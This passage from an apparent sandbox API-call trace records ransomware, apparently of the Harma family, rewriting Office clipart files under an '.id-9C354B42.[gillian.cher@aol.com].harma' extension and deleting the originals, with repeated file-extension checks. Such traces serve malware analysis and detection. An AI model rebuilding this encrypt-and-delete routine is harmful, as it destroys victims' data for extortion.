Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0141.789] GetLastError () returned 0x0 [0141.789] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0141.798] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0141.799] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.799] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.799] SetEndOfFile (hFile=0x368) returned 1 [0141.800] CloseHandle (hObject=0x368) returned 1 [0141.800] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.800] SetEndOfFile (hFile=0x21c) returned 1 [0141.802] CloseHandle (hObject=0x21c) returned 1 [0141.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0141.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.803] lstrlenW (lpString=".doc") returned 4 [0141.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.803] lstrlenW (lpString=".docx") returned 5 [0141.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.803] lstrlenW (lpString=".pdf") returned 4 [0141.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.803] lstrlenW (lpString=".xls") returned 4 [0141.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.804] lstrlenW (lpString=".xlsx") returned 5 [0141.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.804] lstrlenW (lpString=".ppt") returned 4 [0141.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString=".zip") returned 4 [0141.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.804] lstrlenW (lpString=".rar") returned 4 [0141.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString=".bz2") returned 4 [0141.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString=".7z") returned 3 [0141.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString=".dbf") returned 4 [0141.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString=".1cd") returned 4 [0141.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString=".jpg") returned 4 [0141.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.804] lstrlenW (lpString=".doc") returned 4 [0141.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.804] lstrlenW (lpString=".docx") returned 5 [0141.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.804] lstrlenW (lpString=".pdf") returned 4 [0141.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString=".xls") returned 4 [0141.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.805] lstrlenW (lpString=".xlsx") returned 5 [0141.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.805] lstrlenW (lpString=".ppt") returned 4 [0141.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.805] lstrlenW (lpString=".zip") returned 4 [0141.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.805] lstrlenW (lpString=".rar") returned 4 [0141.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString=".bz2") returned 4 [0141.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString=".7z") returned 3 [0141.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.805] lstrlenW (lpString=".dbf") returned 4 [0141.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.805] lstrlenW (lpString=".1cd") returned 4 [0141.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0141.805] lstrlenW (lpString=".jpg") returned 4 [0141.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.805] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.805] lstrlenW (lpString="AN04267_.WMF") returned 12 [0141.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0141.806] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7804) returned 1 [0141.806] CloseHandle (hObject=0x21c) returned 1 [0141.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0141.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0141.807] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.807] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0141.807] GetLastError () returned 0x0 [0141.807] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0141.917] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0141.918] ReadFile (in: hFile=0x21c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.919] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.919] SetEndOfFile (hFile=0x368) returned 1 [0141.919] CloseHandle (hObject=0x368) returned 1 [0141.920] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.920] SetEndOfFile (hFile=0x21c) returned 1 [0141.922] CloseHandle (hObject=0x21c) returned 1 [0141.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.054] lstrlenW (lpString=".doc") returned 4 [0142.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString=".docx") returned 5 [0142.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.054] lstrlenW (lpString=".pdf") returned 4 [0142.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString=".xls") returned 4 [0142.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.054] lstrlenW (lpString=".xlsx") returned 5 [0142.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.054] lstrlenW (lpString=".ppt") returned 4 [0142.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.054] lstrlenW (lpString=".zip") returned 4 [0142.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.054] lstrlenW (lpString=".rar") returned 4 [0142.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString=".bz2") returned 4 [0142.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString=".7z") returned 3 [0142.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.054] lstrlenW (lpString=".dbf") returned 4 [0142.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString=".1cd") returned 4 [0142.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString=".jpg") returned 4 [0142.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString=".doc") returned 4 [0142.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString=".docx") returned 5 [0142.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.055] lstrlenW (lpString=".pdf") returned 4 [0142.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString=".xls") returned 4 [0142.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.055] lstrlenW (lpString=".xlsx") returned 5 [0142.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.055] lstrlenW (lpString=".ppt") returned 4 [0142.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString=".zip") returned 4 [0142.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.055] lstrlenW (lpString=".rar") returned 4 [0142.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString=".bz2") returned 4 [0142.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.055] lstrlenW (lpString=".7z") returned 3 [0142.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.055] lstrlenW (lpString=".dbf") returned 4 [0142.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.056] lstrlenW (lpString=".1cd") returned 4 [0142.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0142.056] lstrlenW (lpString=".jpg") returned 4 [0142.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.056] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.056] lstrlenW (lpString="AN04326_.WMF") returned 12 [0142.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.056] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3348) returned 1 [0142.056] CloseHandle (hObject=0x210) returned 1 [0142.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0142.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.057] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.057] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0142.058] GetLastError () returned 0x0 [0142.058] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xd14, lpOverlapped=0x0) returned 1 [0142.154] WriteFile (in: hFile=0x354, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0142.156] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.156] WriteFile (in: hFile=0x354, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.156] SetEndOfFile (hFile=0x354) returned 1 [0142.156] CloseHandle (hObject=0x354) returned 1 [0142.156] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.156] SetEndOfFile (hFile=0x210) returned 1 [0142.158] CloseHandle (hObject=0x210) returned 1 [0142.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0142.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.320] lstrlenW (lpString=".doc") returned 4 [0142.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.320] lstrlenW (lpString=".docx") returned 5 [0142.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.320] lstrlenW (lpString=".pdf") returned 4 [0142.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.320] lstrlenW (lpString=".xls") returned 4 [0142.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.320] lstrlenW (lpString=".xlsx") returned 5 [0142.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.320] lstrlenW (lpString=".ppt") returned 4 [0142.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.320] lstrlenW (lpString=".zip") returned 4 [0142.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.320] lstrlenW (lpString=".rar") returned 4 [0142.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.320] lstrlenW (lpString=".bz2") returned 4 [0142.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.320] lstrlenW (lpString=".7z") returned 3 [0142.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.320] lstrlenW (lpString=".dbf") returned 4 [0142.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.321] lstrlenW (lpString=".1cd") returned 4 [0142.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.321] lstrlenW (lpString=".jpg") returned 4 [0142.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.321] lstrlenW (lpString=".doc") returned 4 [0142.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString=".docx") returned 5 [0142.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.321] lstrlenW (lpString=".pdf") returned 4 [0142.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString=".xls") returned 4 [0142.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.321] lstrlenW (lpString=".xlsx") returned 5 [0142.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.321] lstrlenW (lpString=".ppt") returned 4 [0142.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.321] lstrlenW (lpString=".zip") returned 4 [0142.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.321] lstrlenW (lpString=".rar") returned 4 [0142.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString=".bz2") returned 4 [0142.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.321] lstrlenW (lpString=".7z") returned 3 [0142.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.322] lstrlenW (lpString=".dbf") returned 4 [0142.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.322] lstrlenW (lpString=".1cd") returned 4 [0142.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0142.322] lstrlenW (lpString=".jpg") returned 4 [0142.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.322] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.322] lstrlenW (lpString="AN04355_.WMF") returned 12 [0142.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0142.323] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3228) returned 1 [0142.323] CloseHandle (hObject=0x330) returned 1 [0142.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0142.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0142.323] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.323] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0142.426] GetLastError () returned 0x0 [0142.426] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0142.429] WriteFile (in: hFile=0x354, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xca0, 